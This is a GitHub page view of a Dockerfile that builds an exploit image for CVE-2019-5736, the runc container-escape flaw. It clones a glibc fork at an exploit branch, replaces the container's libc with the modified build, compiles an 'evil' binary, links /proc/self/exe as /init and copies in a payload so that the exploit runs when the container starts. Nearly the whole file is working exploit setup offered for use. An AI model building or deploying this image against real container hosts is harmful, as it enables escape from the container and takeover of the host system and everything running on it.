-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathDockerfile
30 lines (24 loc) · 842 Bytes
/
Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
FROM fedora:29
RUN dnf -y install git make automake autoconf cmake gcc gcc-c++ vim curl && \
dnf -y install wget bison flex findutils procps && \
git clone https://github.com/milloni/glibc.git
WORKDIR /glibc
RUN git checkout milloni/cve-2019-5736-exp && \
mkdir build && \
cd build && \
../configure --prefix=/usr && \
make -j6 && \
mkdir /glibc.inst && \
make DESTDIR=/glibc.inst -j6 install && \
cp /lib64/libc-2.28.so /glibc.inst
RUN cp /lib64/libc-2.28.so /lib64/libc-2.28.so.old && \
ln -sf /lib64/libc-2.28.so.old /lib64/libc.so.6 && \
rm /lib64/libc-2.28.so
RUN cp /glibc.inst/lib64/libc-2.28.so /lib64/ && \
ln -sf /lib64/libc-2.28.so /lib64/libc.so.6
COPY . /src
RUN gcc -o /evil /src/evil.c && \
ln -s /proc/self/exe /init && \
cp /src/payload /
WORKDIR /
CMD ["/init"]